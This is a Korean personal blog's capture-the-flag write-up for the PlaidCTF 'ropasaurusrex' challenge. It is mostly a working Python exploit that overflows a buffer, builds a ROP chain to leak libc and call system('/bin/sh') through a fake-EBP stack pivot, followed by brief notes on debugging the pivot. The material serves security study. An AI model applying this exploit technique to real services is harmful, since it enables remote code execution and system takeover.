9oat's LAB
[PlaidCTF] ropasaurusrex 본문
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | from socket import * from struct import * HOST = '127.0.0.1' PORT = 8888 p = lambda x: pack("<L", x) up = lambda x: unpack("<L", x)[0] writeplt = 0x804830c pppr = 0x80484b6 ppppr = 0x80484b5 dynamic = 0x80495d4 dynamic_str = 0x80495e0 readplt = 0x804832c readgot = 0x804961c bin_sh = "/bin/sh\n" leaveret = 0x8048447 s = socket(AF_INET, SOCK_STREAM) s.connect((HOST, PORT)) pl = "A"*140 # Overflow! pl += p(writeplt) # leak read@got, get library addr of 'read' pl += p(pppr) pl += p(0x1) pl += p(readgot) pl += p(0x4) pl += p(readplt) # save "/bin/sh" to dynamic_str pl += p(ppppr) # pop ebx, pop esi, pop edi, pop ebp pl += p(0x0) pl += p(dynamic_str) pl += p(0x8) pl += p(dynamic-4) # Fake EBP pl += p(readplt) # save pl2 to dynamic pl += p(leaveret) pl += p(0x0) pl += p(dynamic) pl += p(0xc) s.send(pl) # send payload system = up(s.recv(4)) - 0xd5af0 + 0x3ada0 # make system addr s.send(bin_sh) # input "/bin/sh" pl2 = '' pl2 += p(system) # make pl2 : system + dummy + &/bin/sh pl2 += "A"*4 pl2 += p(dynamic_str) s.send(pl2) # input pl2 s.send('id\n') | cs |
Got Overwriting 말고 다른 방법으로도 풀 수 있지 않을까 해서 시도해 본 Fake EBP.
처음 시도할 땐 SFP를 dynamic-4주소로 덮어씌우고 시도했었는데 자꾸 ebp가 엉뚱한 값으로 변경되더라.
왜 그럴까 몇 번의 삽질 후 알게된 것은 pppr할 때 마지막 pop이 pop ebp.. 그래서 ebp가 0x4가 됐다가, 0x8이 됐던 것..
ppppr의 마지막 pop도 pop ebp이므로 이를 이용해 ebp에 dynamic-4를 넣을 수 있었고, exploit할 수 있었다.
뭐 딱히 의미있는 풀이는 아니고.. 공부하면서 해보는 이런저런 시도들..
'Write Up > CTFs' 카테고리의 다른 글
[2018 Codegate] Baskin (0) | 2018.07.11 |
---|---|
[2018 Codegate] Marimo (0) | 2018.07.11 |
[2017 HUST] Withdraw (0) | 2018.07.11 |
Comments